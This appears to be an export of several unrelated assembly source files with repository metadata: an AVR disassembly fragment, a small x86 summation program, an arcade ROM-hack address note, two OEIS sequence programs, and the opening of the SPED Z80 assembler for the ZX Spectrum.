de2: 8e 77 andi r24, 0x7E ; 126
de4: 80 93 e8 00 sts 0x00E8, r24
de8: c5 db rcall .-2166 ; 0x574
dea: 88 23 and r24, r24
dec: 29 f4 brne .+10 ; 0xdf8
dee: 10 93 f1 00 sts 0x00F1, r17
df2: 80 e0 ldi r24, 0x00 ; 0
df4: 01 c0 rjmp .+2 ; 0xdf8
df6: 82 e0 ldi r24, 0x02 ; 2
df8: 1f 91 pop r17
dfa: 08 95 ret
dfc: 0f 93 push r16
dfe: 1f 93 push r17
e00: cf 93 push r28
e02: df 93 push r29
e04: ec 01 movw r28, r24
e06: 0d 96 adiw r24, 0x0d ; 13
e08: fc 01 movw r30, r24
e0a: 89 e0 ldi r24, 0x09 ; 9
e0c: df 01 movw r26, r30
e0e: 1d 92 st X+, r1
e10: 8a 95 dec r24
e12: e9 f7 brne .-6 ; 0xe0e
e14: 2a 81 ldd r18, Y+2 ; 0x02
e16: 3b 81 ldd r19, Y+3 ; 0x03
e18: 09 81 ldd r16, Y+1 ; 0x01
e1a: 8c 81 ldd r24, Y+4 ; 0x04
e1c: 88 23 and r24, r24
e1e: 11 f4 brne .+4 ; 0xe24
e20: 10 e0 ldi r17, 0x00 ; 0
e22: 01 c0 rjmp .+2 ; 0xe26
e24: 14 e0 ldi r17, 0x04 ; 4
e26: c9 01 movw r24, r18
e28: 51 db rcall .-2398 ; 0x4cc
e2a: 18 2b or r17, r24
e2c: 12 60 ori r17, 0x02 ; 2
e2e: 80 2f mov r24, r16
e30: 61 e8 ldi r22, 0x81 ; 129
e32: 41 2f mov r20, r17
e34: 59 db rcall .-2382 ; 0x4e8
e36: 88 23 and r24, r24
e38: 29 f1 breq .+74 ; 0xe84
e3a: 2e 81 ldd r18, Y+6 ; 0x06
e3c: 3f 81 ldd r19, Y+7 ; 0x07
e3e: 0d 81 ldd r16, Y+5 ; 0x05
e40: 88 85 ldd r24, Y+8 ; 0x08
e42: 88 23 and r24, r24
e44: 11 f4 brne .+4 ; 0xe4a
e46: 10 e0 ldi r17, 0x00 ; 0
e48: 01 c0 rjmp .+2 ; 0xe4c
e4a: 14 e0 ldi r17, 0x04 ; 4
e4c: c9 01 movw r24, r18
e4e: 3e db rcall .-2436 ; 0x4cc
e50: 18 2b or r17, r24
e52: 12 60 ori r17, 0x02 ; 2
e54: 80 2f mov r24, r16
e56: 60 e8 ldi r22, 0x80 ; 128
e58: 41 2f mov r20, r17
e5a: 46 db rcall .-2420 ; 0x4e8
e5c: 88 23 and r24, r24
e5e: 91 f0 breq .+36 ; 0xe84
e60: 2a 85 ldd r18, Y+10 ; 0x0a
e62: 3b 85 ldd r19, Y+11 ; 0x0b
e64: 09 85 ldd r16, Y+9 ; 0x09
e66: 8c 85 ldd r24, Y+12 ; 0x0c
e68: 88 23 and r24, r24
e6a: 11 f4 brne .+4 ; 0xe70
e6c: 10 e0 ldi r17, 0x00 ; 0
e6e: 01 c0 rjmp .+2 ; 0xe72
e70: 14 e0 ldi r17, 0x04 ; 4
e72: c9 01 movw r24, r18
e74: 2b db rcall .-2474 ; 0x4cc
e76: 18 2b or r17, r24
e78: 12 60 ori r17, 0x02 ; 2
e7a: 80 2f mov r24, r16
e7c: 61 ec ldi r22, 0xC1 ; 193
e7e: 41 2f mov r20, r17
e80: 33 db rcall .-2458 ; 0x4e8
e82: 01 c0 rjmp .+2 ; 0xe86
e84: 80 e0 ldi r24, 0x00 ; 0
e86: df 91 pop r29
e88: cf 91 pop r28
e8a: 1f 91 pop r17
e8c: 0f 91 pop r16
e8e: 08 95 ret
e90: cf 93 push r28
e92: df 93 push r29
e94: ec 01 movw r28, r24
e96: 80 91 e8 00 lds r24, 0x00E8
e9a: 83 ff sbrs r24, 3
e9c: 60 c0 rjmp .+192 ; 0xf5e
e9e: 88 81 ld r24, Y
ea0: 90 e0 ldi r25, 0x00 ; 0
ea2: 20 91 2b 02 lds r18, 0x022B
ea6: 30 91 2c 02 lds r19, 0x022C
eaa: 28 17 cp r18, r24
eac: 39 07 cpc r19, r25
eae: 09 f0 breq .+2 ; 0xeb2
eb0: 56 c0 rjmp .+172 ; 0xf5e
eb2: 80 91 28 02 lds r24, 0x0228
eb6: 81 32 cpi r24, 0x21 ; 33
eb8: 61 f0 breq .+24 ; 0xed2
eba: 82 32 cpi r24, 0x22 ; 34
ebc: 20 f4 brcc .+8 ; 0xec6
ebe: 80 32 cpi r24, 0x20 ; 32
ec0: 09 f0 breq .+2 ; 0xec4
ec2: 4d c0 rjmp .+154 ; 0xf5e
ec4: 19 c0 rjmp .+50 ; 0xef8
ec6: 82 32 cpi r24, 0x22 ; 34
ec8: 69 f1 breq .+90 ; 0xf24
eca: 83 32 cpi r24, 0x23 ; 35
ecc: 09 f0 breq .+2 ; 0xed0
ece: 47 c0 rjmp .+142 ; 0xf5e
ed0: 38 c0 rjmp .+112 ; 0xf42
ed2: 80 91 27 02 lds r24, 0x0227
ed6: 81 3a cpi r24, 0xA1 ; 161
ed8: 09 f0 breq .+2 ; 0xedc
eda: 41 c0 rjmp .+130 ; 0xf5e
edc: 80 91 e8 00 lds r24, 0x00E8
ee0: 87 7f andi r24, 0xF7 ; 247
ee2: 80 93 e8 00 sts 0x00E8, r24
ee6: ce 01 movw r24, r28
ee8: 0f 96 adiw r24, 0x0f ; 15
eea: 67 e0 ldi r22, 0x07 ; 7
eec: 70 e0 ldi r23, 0x00 ; 0
eee: 71 db rcall .-2334 ; 0x5d2
ef0: 80 91 e8 00 lds r24, 0x00E8
ef4: 8b 77 andi r24, 0x7B ; 123
ef6: 13 c0 rjmp .+38 ; 0xf1e
ef8: 80 91 27 02 lds r24, 0x0227
efc: 81 32 cpi r24, 0x21 ; 33
efe: 79 f5 brne .+94 ; 0xf5e
f00: 80 91 e8 00 lds r24, 0x00E8
f04: 87 7f andi r24, 0xF7 ; 247
f06: 80 93 e8 00 sts 0x00E8, r24
f0a: ce 01 movw r24, r28
f0c: 0f 96 adiw r24, 0x0f ; 15
f0e: 67 e0 ldi r22, 0x07 ; 7
f10: 70 e0 ldi r23, 0x00 ; 0
f12: 13 dc rcall .-2010 ; 0x73a
f14: ce 01 movw r24, r28
f16: 3e d9 rcall .-3460 ; 0x194
f18: 80 91 e8 00 lds r24, 0x00E8
f1c: 8e 77 andi r24, 0x7E ; 126
f1e: 80 93 e8 00 sts 0x00E8, r24
f22: 1d c0 rjmp .+58 ; 0xf5e
f24: 80 91 27 02 lds r24, 0x0227
f28: 81 32 cpi r24, 0x21 ; 33
f2a: c9 f4 brne .+50 ; 0xf5e
f2c: 80 91 e8 00 lds r24, 0x00E8
f30: 87 7f andi r24, 0xF7 ; 247
f32: 80 93 e8 00 sts 0x00E8, r24
f36: 80 91 29 02 lds r24, 0x0229
f3a: 8d 87 std Y+13, r24 ; 0x0d
f3c: ce 01 movw r24, r28
f3e: c8 d9 rcall .-3184 ; 0x2d0
f40: 0d c0 rjmp .+26 ; 0xf5c
f42: 80 91 27 02 lds r24, 0x0227
f46: 81 32 cpi r24, 0x21 ; 33
f48: 51 f4 brne .+20 ; 0xf5e
f4a: 80 91 e8 00 lds r24, 0x00E8
f4e: 87 7f andi r24, 0xF7 ; 247
f50: 80 93 e8 00 sts 0x00E8, r24
f54: ce 01 movw r24, r28
f56: 60 91 29 02 lds r22, 0x0229
f5a: c5 de rcall .-630 ; 0xce6
f5c: ec da rcall .-2600 ; 0x536
f5e: df 91 pop r29
f60: cf 91 pop r28
f62: 08 95 ret
f64: a1 e2 ldi r26, 0x21 ; 33
f66: 1a 2e mov r1, r26
f68: aa 1b sub r26, r26
f6a: bb 1b sub r27, r27
f6c: fd 01 movw r30, r26
f6e: 0d c0 rjmp .+26 ; 0xf8a
f70: aa 1f adc r26, r26
f72: bb 1f adc r27, r27
f74: ee 1f adc r30, r30
f76: ff 1f adc r31, r31
f78: a2 17 cp r26, r18
f7a: b3 07 cpc r27, r19
f7c: e4 07 cpc r30, r20
f7e: f5 07 cpc r31, r21
f80: 20 f0 brcs .+8 ; 0xf8a
f82: a2 1b sub r26, r18
f84: b3 0b sbc r27, r19
f86: e4 0b sbc r30, r20
f88: f5 0b sbc r31, r21
f8a: 66 1f adc r22, r22
f8c: 77 1f adc r23, r23
f8e: 88 1f adc r24, r24
f90: 99 1f adc r25, r25
f92: 1a 94 dec r1
f94: 69 f7 brne .-38 ; 0xf70
f96: 60 95 com r22
f98: 70 95 com r23
f9a: 80 95 com r24
f9c: 90 95 com r25
f9e: 9b 01 movw r18, r22
fa0: ac 01 movw r20, r24
fa2: bd 01 movw r22, r26
fa4: cf 01 movw r24, r30
fa6: 08 95 ret
fa8: f8 94 cli
faa: ff cf rjmp .-2 ; 0xfaa
fac: 00 03 mulsu r16, r16
fae: 40 00 .word 0x0040 ; ????
fb0: 00 04 cpc r0, r0
fb2: 40 00 .word 0x0040 ; ????
fb4: 00 02 muls r16, r16
fb6: 08 00 .word 0x0008 ; ????
...
| 35.587119
| 43
| 0.497479
|
1bca755d0d8b44abb4665d0d7b78d833fddf8125
| 398
|
asm
|
Assembly
|
asm/sum/sum.asm
|
severinkaderli/BTI7061-CSBas
|
3eab8432b98d1ad3ec3c80eb1e779710689eba9b
|
[
"MIT"
] | 1
|
2018-09-18T19:03:59.000Z
|
2018-09-18T19:03:59.000Z
|
asm/sum/sum.asm
|
severinkaderli/BTI7061-CSBas
|
3eab8432b98d1ad3ec3c80eb1e779710689eba9b
|
[
"MIT"
] | null | null | null |
asm/sum/sum.asm
|
severinkaderli/BTI7061-CSBas
|
3eab8432b98d1ad3ec3c80eb1e779710689eba9b
|
[
"MIT"
] | null | null | null |
section .data
Number: db 0xA ; We calculate the sum of the numbers up to this one
section .bss
section .text
global _start
_start:
mov rax, 0 ; We store the sum in rax
mov bl, [Number] ; bl holds the current number
calculate:
add rax, rbx ; Add the current number to the sum
dec rbx ; Decrease the number
jnz calculate ; If not zero loop
exit:
mov rax, 1
mov rbx, 0
int 0x80
| 18.090909
| 69
| 0.698492
|
c5707c0316c9b0172929e6cfab5985f8c1610275
| 529
|
asm
|
Assembly
|
dino/lcs/etc/A7.asm
|
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
|
a4a0c86c200241494b3f1834cd0aef8dc02f7683
|
[
"Apache-2.0"
] | 6
|
2020-10-14T15:29:10.000Z
|
2022-02-12T18:58:54.000Z
|
dino/lcs/etc/A7.asm
|
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
|
a4a0c86c200241494b3f1834cd0aef8dc02f7683
|
[
"Apache-2.0"
] | null | null | null |
dino/lcs/etc/A7.asm
|
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
|
a4a0c86c200241494b3f1834cd0aef8dc02f7683
|
[
"Apache-2.0"
] | 1
|
2020-12-17T08:59:10.000Z
|
2020-12-17T08:59:10.000Z
|
copyright zengfr site:http://github.com/zengfr/romhack
0836CE clr.b ($a7,A6)
0836D2 lea ($b2,PC) ; ($83786), A0
08375A subq.b #1, ($a7,A6)
08375E bcc $83784 [etc+A7]
083760 move.b #$5, ($a7,A6)
083766 lea ($1e,PC) ; ($83786), A0 [etc+A7]
08BE8E move.b D0, ($a7,A6) [etc+A6]
08BE92 move.l #$100000, ($44,A6) [etc+A7]
08C106 move.b D0, ($a7,A6) [etc+A6]
08C10A bsr $8c642 [etc+A7]
08C6BA move.b ($3,A0), ($a7,A6)
08C6C0 rts [etc+A7]
copyright zengfr site:http://github.com/zengfr/romhack
| 31.117647
| 54
| 0.606805
|
90c5b27fb8e0d867853e9882360da01a9a05ffc2
| 553
|
asm
|
Assembly
|
oeis/313/A313534.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/313/A313534.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/313/A313534.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A313534: Coordination sequence Gal.6.231.5 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; Submitted by Jamie Morken(s1)
; 1,5,10,14,19,23,27,31,36,40,45,50,55,60,64,69,73,77,81,86,90,95,100,105,110,114,119,123,127,131,136,140,145,150,155,160,164,169,173,177,181,186,190,195,200,205,210,214,219,223
mov $5,$0
mul $0,2
mov $4,$0
sub $0,1
div $0,11
add $0,1
mod $0,2
mov $2,$4
mul $2,3
div $2,11
mov $6,$2
add $6,$0
mov $1,$6
mov $3,$5
mul $3,4
add $1,$3
mov $0,$1
| 25.136364
| 177
| 0.681736
|
ff1a99644d98ffb314f7c560e61322f22745847c
| 489
|
asm
|
Assembly
|
oeis/309/A309355.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/309/A309355.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/309/A309355.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A309355: Even numbers k such that k! is divisible by k*(k+1)/2.
; Submitted by Jamie Morken
; 8,14,20,24,26,32,34,38,44,48,50,54,56,62,64,68,74,76,80,84,86,90,92,94,98,104,110,114,116,118,120,122,124,128,132,134,140,142,144,146,152,154,158,160,164,168,170,174,176,182,184,186,188,194,200,202,204,206
add $0,2
mov $1,3
mov $2,1
lpb $0
mov $3,$2
lpb $3
add $2,2
mov $4,$1
gcd $4,$2
cmp $4,1
sub $3,$4
lpe
sub $0,1
add $2,2
mul $1,$2
lpe
mov $0,$2
sub $0,1
| 21.26087
| 207
| 0.611452
|
6da21b5621cdd19d108dc0e995424b01ade874fb
| 108,949
|
asm
|
Assembly
|
src/my_soft/spectrum/sped/sped54en/sped54en.asm
|
chipsi007/zesarux
|
baddd4b27f5216343177d0a007977ad03ceea5fe
|
[
"BSD-3-Clause",
"MIT"
] | null | null | null |
src/my_soft/spectrum/sped/sped54en/sped54en.asm
|
chipsi007/zesarux
|
baddd4b27f5216343177d0a007977ad03ceea5fe
|
[
"BSD-3-Clause",
"MIT"
] | null | null | null |
src/my_soft/spectrum/sped/sped54en/sped54en.asm
|
chipsi007/zesarux
|
baddd4b27f5216343177d0a007977ad03ceea5fe
|
[
"BSD-3-Clause",
"MIT"
] | null | null | null |
; SPED - SPectrum Ensamblador Desensamblador / SuPer Ensamblador Desensamblador
; Copyright (C) 1995 Cesar Hernandez Bano
;
; This file is part of ZEsarUX.
;
; SPED is free software: you can redistribute it and/or modify
; it under the terms of the GNU General Public License as published by
; the Free Software Foundation, either version 3 of the License, or
; (at your option) any later version.
;
; This program is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
; GNU General Public License for more details.
;
; You should have received a copy of the GNU General Public License
; along with this program. If not, see <http://www.gnu.org/licenses/>.
ORG 49152
OUTPUT sped.bin
;
;SPED54 , , ~,
; (C) CESAR HERNANDEZ BANO
;VERSION 1.3 EN
; V 1.0 (01/04/1995) - Preliminary version - CESAR HERNANDEZ BANO
; V 1.1/SPED52 (11/07/1997) - Full working version - CESAR HERNANDEZ BANO
; V 1.1 EN/SPED52 (17/08/2018) - English version - TIM GILBERTS
; V 1.2 SPED53 (04/09/2018) - Bug fixed version - CESAR HERNANDEZ BANO
; V 1.2 EN/SPED53 (10/09/2018) - Bug fixed version - CESAR HERNANDEZ BANO
; V 1.3 EN/SPED54 (13/09/2018) - Bug fixed version - CESAR HERNANDEZ BANO
;
;
;License: GNU GPL
;
FLAGS1 EQU 23582
FLAGS2 EQU 23583
OP11 EQU 23584
OP12 EQU 23585
OP13 EQU 23586
OP21 EQU 23587
OP22 EQU 23588
OP23 EQU 23589
AMAOP1 EQU 23590
AMAOP2 EQU 23591
FLAGS3 EQU 23592
FLAGS4 EQU 23593
CALL COPPAG
LD SP,23552
JP INICIO
BUFORI EQU 65333
BUFDEB EQU 65130
ABUF DEFS 34
CABOBJ DEFS 34
BUFEDI DEFS 32
CX DEFB 0
CY DEFB 0
TEXINI DEFW 23755
FINTEX DEFW 23755
PUNETI DEFW 0
FINNDX DEFW 0
DIRDBI DEFW 49152
LINEA DEFW 1
LINP DEFW 0
LINU DEFW 0
DIRBLO DEFW 0
LONGBL DEFW 0
PUNDIR DEFW 16384
PUNORG DEFW 49152
DIRUP DEFW 0
DIREDI DEFW 0
DIRENT DEFW 50000
PUNDES DEFW 49152
ERROR DEFB 0
AOPE DEFB 0
APASO DEFB 0
AERRS DEFW 0
ETINUM DEFW 0
BYTES DEFW 0
ALINEA DEFW 0
ADIREC DEFW 0
ASIGDI DEFW 0
ANEMO DEFW 0
ADIOP1 DEFW 0
ADIOP2 DEFW 0
AVAL1 DEFW 0
AVAL2 DEFW 0
ADIS DEFB 0
ADES DEFB 0
APREXY DEFB 0
DPREF DEFB 0
DDIRIN DEFW 0
DRETOR DEFW 0
DREGR DEFB 0
DBYBRK DEFS 3
DLONG DEFB 0
DMEMO DEFW 0
CABFUE DEFB 3
DEFM "NOT-NAMED."
LONG0 DEFW 0
DEFS 5
DIA DEFB 0
MES DEFB 0
ANYO DEFB 0
LONG1 DEFW 0
LONG2 DEFW 0
RESERV DEFB 255,255,255,255
DEFB 255,255,255,255,255
PUNTEX DEFW LONG0
LINCUR DEFW 0
ULTLIN DEFW 0
TEMP01 DEFW 0
TEMP02 DEFW 0
TEMP03 DEFW 0
OLDFL2 DEFB 0
DTIPIN DEFB 0
DNXTPC DEFW 0
BUFETI DEFS 32
LNETIN DEFW 0
BUFCAD DEFS 32
LNCAIN DEFW 0
EJEINI
INICI0 CALL COPPAG
LD SP,23552
CALL PONREG
CALL SLDIR
CALL NOBUF
CALL PONPRI
LD A,(OLDFL2)
AND %00001100
LD (FLAGS2),A
XOR A
CALL PONTEX
JP MENU
COPPAG LD HL,RUTPAG
LD DE,23296
LD BC,256
LDIR
RET
PONREG LD HL,49152
LD DE,23755
LD BC,32768-23755
LD A,16
EX AF,AF'
LD A,19
RET
PONPRI LD HL,PRINT
LD (23739),HL
CALL CLS
LD (IY-28),4
LD (IY-48),1
SET 3,(IY+48)
RES 1,(IY-17)
LD HL,DERR8
LD (23613),HL
LD HL,64000
LD (23651),HL
LD (23653),HL
RES 4,(IY-17)
JP PONBOR
NOBUF LD (IY-27),32
RET
INICIO CALL PONPRI
CALL NOBUF
CALL APUN
CALL PRIMES
DEFM "Welcome to @"
CALL PRSPED
CALL PRIMES
DEFM ",#"
DEFM "Assembler/Monitor"
DEFM "/Disassembler#"
DEFM "for Spectrum 128K"
DEFM " / ZX Next.#@"
CALL PRCPYR
LD A,13
RST 16
CALL INFECH
JP MENU
FIN LD A,(FLAGS2)
LD (OLDFL2),A
CALL PRIMES
DEFM "Return Address:@"
LD HL,INICI0
CALL PRNUME
LD HL,32767
LD (23730),HL
CALL PONREG
LD (PUNETI),HL
LD (FINNDX),HL
EX AF,AF'
EX DE,HL
CALL SLDIR
JP 4535
PRIMES POP HL
PRIME1 LD A,(HL)
INC HL
CP "#"
JR Z,PRIME3
CP "@"
JR Z,PRIME4
PRIME2 PUSH HL
RST 16
POP HL
JR PRIME1
PRIME3 LD A,13
JR PRIME2
PRIME4 JP (HL)
CLS LD A,2
CALL 5633
LD HL,16384
LD DE,16385
LD BC,6143
LD (HL),0
LDIR
INC HL
INC DE
LD BC,767
LD A,4
LD (HL),A
LD (23693),A
LD (23624),A
LDIR
LD (23682),BC
RET
PRINT RES 5,(IY-17)
BIT 0,(IY-28)
JR Z,PRINT1
CP 24
JR C,PRINT0
LD A,23
PRINT0 LD (23683),A
RES 0,(IY-28)
SET 1,(IY-28)
RET
PRINT1 BIT 1,(IY-28)
JR Z,PRINT2
LD (23682),A
RES 1,(IY-28)
RET
PRINT2 CP 8
JR NZ,PRINT3
DEC (IY+72)
RET P
LD (IY+72),31
DEC (IY+73)
RET P
LD (IY+73),0
RET
PRINT3 CP 13
JR NZ,PRINT4
CMPL23 LD (IY+72),0
LD A,(23683)
CP 23
JP Z,SCROLL
INC (IY+73)
RET
PRINT4 CP 22
JR NZ,PRINT5
SET 0,(IY-28)
RET
PRINT5 CP 23
JR NZ,PRINT6
SET 1,(IY-28)
RET
PRINT6 LD L,A
LD H,0
ADD HL,HL
ADD HL,HL
ADD HL,HL
LD DE,15360
ADD HL,DE
LD A,(23683)
LD D,A
RRCA
RRCA
RRCA
AND 224
OR (IY+72)
LD E,A
LD A,D
AND 24
OR 64
LD D,A
LD B,8
PRINT7 LD A,(HL)
SLA A
OR (HL)
LD (DE),A
INC D
INC HL
DJNZ PRINT7
LD A,(23682)
INC A
LD (23682),A
CP 32
RET NZ
JR CMPL23
SCROLL CALL SITEMY
JR NZ,SCROL1
CALL ESPTEC
CP 199
JR NZ,SCROL1
SET 5,(IY-17)
SCROL1 JP 3582
SITEMY LD A,254
IN A,(254)
AND 1
RET
EDIVA0 LD A,13
RST 16
EDIVAC CALL LIMBUF
EDITAR XOR A
LD (CX),A
LD A,(23683)
LD (CY),A
EDITA1 LD (IY+7),0
EDIT11 CALL PONCUR
CALL PRIEST
EDITA2 LD (IY-50),0
EDIT22 LD A,(23560)
EDIT23 OR A
JR Z,EDIT22
CP 13
JP Z,ED13
CP 8
JR Z,ED8
CP 9
JR Z,ED9
CP 10
JP Z,EDITA3
CP 11
JP Z,EDITA3
CP 6
JR Z,ED6
CP 14
JR Z,ED14
CP 7
JP Z,ED7
CP 175
JR Z,ED175
CP 12
JP Z,ED12
CP 32
JR C,EDITA2
CP 128
JP NC,EDITA3
EX AF,AF'
LD A,(CX)
CP 31
JR Z,EDITA2
EX AF,AF'
CALL BORCUR
LD HL,(CX)
INC L
LD (CX),HL
DEC L
LD (23682),HL
LD H,0
LD DE,BUFEDI
ADD HL,DE
PUSH AF
PUSH HL
RST 16
POP HL
POP AF
BIT 2,(IY-28)
JP NZ,EDITA4
LD (HL),A
JR EDITA1
ED8 LD A,(CX)
OR A
JR Z,EDITA2
CALL BORCUR
DEC A
LD (CX),A
JP EDITA1
ED9 LD A,(CX)
CP 31
JP Z,EDITA2
CALL BORCUR
INC A
LD (CX),A
JP EDITA1
ED6 LD A,(23658)
XOR 8
LD (23658),A
JP EDITA1
ED14 LD A,(23617)
XOR 1
LD (23617),A
CALL PRIEST
JP EDIT11
ED175 LD A,(FLAGS1)
XOR 4
LD (FLAGS1),A
JP EDITA1
ED13 CALL BORCUR
LD HL,(CX)
LD (23682),HL
LD A,13
RST 16
LD HL,BUFEDI
OR A
RET
ED12 LD A,(CX)
OR A
JP Z,EDITA2
CALL BORCUR
LD L,A
DEC A
LD (CX),A
LD H,0
LD DE,BUFEDI
ADD HL,DE
LD D,H
LD E,L
DEC DE
PUSH HL
LD HL,BUFEDI+30
OR A
SBC HL,DE
LD B,H
LD C,L
POP HL
LD A,B
OR C
JR Z,ED120
LDIR
ED120 LD A,32
LD (DE),A
JR EDIT44
EDITA3 RES 0,(IY+7)
BIT 3,(IY-28)
JP Z,EDITA2
CALL BORCUR
PUSH AF
CALL PRIEST
POP AF
SCF
RET
EDITA4 EX AF,AF'
LD A,(CX)
CP 31
JR NZ,EDIT40
EX AF,AF'
LD (HL),A
JP EDITA1
EDIT40 EX AF,AF'
EX DE,HL
LD HL,BUFEDI+31
OR A
SBC HL,DE
LD B,H
LD C,L
LD HL,BUFEDI+30
LD DE,BUFEDI+31
LDDR
LD (DE),A
LD A,13
LD (BUFEDI+31),A
EDIT44 CALL PRILIN
EDIT43 JP EDITA1
ED7 BIT 3,(IY-28)
JP Z,EDITA2
CALL BORCUR
LD A,(CX)
CP 7
JR NC,ED70
LD A,7
JR ED79
ED70 LD A,12
ED79 LD (CX),A
JR EDIT43
PRILIN LD HL,(CX)
LD L,0
LD (23682),HL
LD HL,BUFEDI
LD B,31
PRILI1 LD A,(HL)
PUSH BC
PUSH HL
RST 16
POP HL
POP BC
INC HL
DJNZ PRILI1
RET
BORCUR PUSH AF
LD C,4
CALL PRICUR
POP AF
RET
PONCUR LD C,132
PRICUR LD HL,(CY)
LD H,0
ADD HL,HL
ADD HL,HL
ADD HL,HL
ADD HL,HL
ADD HL,HL
LD A,H
OR 88
LD H,A
LD A,(CX)
OR L
LD L,A
LD (HL),C
RET
PRIEST BIT 3,(IY-28)
RET Z
LD HL,5898
LD (23682),HL
BIT 3,(IY+48)
JR Z,PRIES1
CALL PRIMES
DEFM "CAP @"
JR PRIES2
PRIES1 CALL PRIMES
DEFM "low @"
PRIES2 BIT 2,(IY-28)
JR Z,PRIES3
CALL PRIMES
DEFM "INS @"
JR PRIES4
PRIES3 CALL PRIMES
DEFM "OVR @"
PRIES4 BIT 0,(IY+7)
JR Z,PRIES5
CALL PRIMES
DEFM "EXT@"
RET
PRIES5 CALL PRIMES
DEFM " @"
RET
VAL0 RET Z
CP ")"
RET Z
CP ","
RET Z
CP 255
RET
VAL RES 4,(IY-28)
LD BC,0
LD A,(HL)
CP 32
CALL VAL0
JR Z,VALNO
CP 13
JR Z,VALNO
VAL1 LD A,(HL)
CP 13
CALL VAL0
JR Z,VALSI
CP 32
JR Z,VALSI
JR C,VALNO
CP 128
JR NC,VALNO
CP "+"
JR NZ,VAL2
INC HL
VAL2 CP "-"
JR Z,VALRES
CALL VALNUM
JR C,VALNO
PUSH HL
LD H,B
LD L,C
ADD HL,DE
VAL3 LD B,H
LD C,L
POP HL
LD A,(HL)
CP "+"
JR Z,VAL1
CP "-"
JR Z,VAL1
CP 13
CALL VAL0
JR Z,VALSI
CP 32
JR NZ,VALNO
VALSI LD D,B
LD E,C
OR A
RET
VALNO LD D,B
LD E,C
SCF
RET
VALRES INC HL
CALL VALNUM
JR C,VALNO
PUSH HL
LD H,B
LD L,C
OR A
SBC HL,DE
JR VAL3
VALNUM PUSH BC
LD A,(HL)
CP "$"
JR NZ,VALN10
LD DE,(PUNDIR)
JR VALFI0
VALN10 CP "!"
JR NZ,VALNU1
LD DE,(PUNDES)
JR VALFI0
VALNU1 CP "#"
JR Z,VALHEX
CP "%"
JR Z,VALBIN
CP 34
JR NZ,VALNU2
INC HL
LD E,(HL)
INC HL
LD A,(HL)
CP 34
JR NZ,VALFIE
LD D,0
JR VALFI0
VALNU2 CP 48
JR C,VALFIE
CP 58
JR C,VALDEC
CALL ESETIQ
JR NC,VALETI
JR VALFIE
VALFI0 INC HL
VALFIN POP BC
OR A
RET
VALFIE POP BC
SCF
RET
VALBIN LD DE,0
VALBI1 INC HL
LD A,(HL)
SUB 48
JR C,VALFIN
CP 2
JR NC,VALFIN
PUSH HL
LD H,D
LD L,E
ADD HL,HL
LD E,A
LD D,0
ADD HL,DE
EX DE,HL
POP HL
JR VALBI1
VALDEC LD DE,0
DEC HL
VALDE1 INC HL
LD A,(HL)
SUB 48
JR C,VALFIN
CP 10
JR NC,VALFIN
PUSH HL
LD H,D
LD L,E
ADD HL,HL
LD D,H
LD E,L
ADD HL,HL
ADD HL,HL
ADD HL,DE
LD E,A
LD D,0
ADD HL,DE
EX DE,HL
POP HL
JR VALDE1
VALHEX LD DE,0
VALHE1 INC HL
LD A,(HL)
SUB 48
JR C,VALFIN
CP 23
JR NC,VALFIN
CP 10
JR C,VALHE2
SUB 17
JR C,VALFIN
ADD A,10
VALHE2 PUSH HL
LD H,D
LD L,E
ADD HL,HL
ADD HL,HL
ADD HL,HL
ADD HL,HL
LD E,A
LD D,0
ADD HL,DE
EX DE,HL
POP HL
JR VALHE1
VALETI CALL CALETI
JP NC,VALFIN
SET 4,(IY-28)
JP VALFIE
INFECH CALL PRIMES
DEFM "Enter Date"
DEFM "(DD/MM/YYYY):@"
CALL EDIVA0
CALL VAL
LD A,E
LD (DIA),A
INC HL
CALL VAL
LD A,E
LD (MES),A
INC HL
CALL VAL
LD H,D
LD L,E
LD DE,1980
OR A
SBC HL,DE
LD A,L
LD (ANYO),A
RET
MENU LD SP,23552
RES 3,(IY-28)
CALL PRIMES
DEFM "#Command>#@"
CALL EDIVAC
LD A,(BUFEDI+1)
CP ","
JR Z,MENU1
CP 32
JR Z,MENU1
MENERR CALL MENER0
JR MENU
MENER0 CALL PRIMES
DEFM "Invalid Command!"
DEFM "#@"
RET
MENU1 LD A,13
RST 16
LD DE,BUFEDI
LD A,(DE)
LD HL,BUFEDI+2
LD BC,28
LDIR
LD C,A
LD HL,TAMENU
MENU2 LD A,(HL)
INC HL
CP 255
JR Z,MENERR
CP C
JR Z,MENU3
INC HL
INC HL
JR MENU2
MENU3 LD E,(HL)
INC HL
LD H,(HL)
LD L,E
CALL MEJPHL
JR MENU
MEJPHL JP (HL)
TAMENU DEFM "A"
DEFW AINICI
DEFM "B"
DEFW FIN
DEFM "C"
DEFW CALCUL
DEFM "D"
DEFW DINICI
DEFM "E"
DEFW EDICIO
DEFM "F"
DEFW INFECH
DEFM "G"
DEFW GOTEXT
DEFM "H"
DEFW HLPMNU
DEFM "I"
DEFW INFORM
DEFM "L"
DEFW LOAFUE
DEFM "N"
DEFW NUETEX
DEFM "O"
DEFW SALOBJ
DEFM "S"
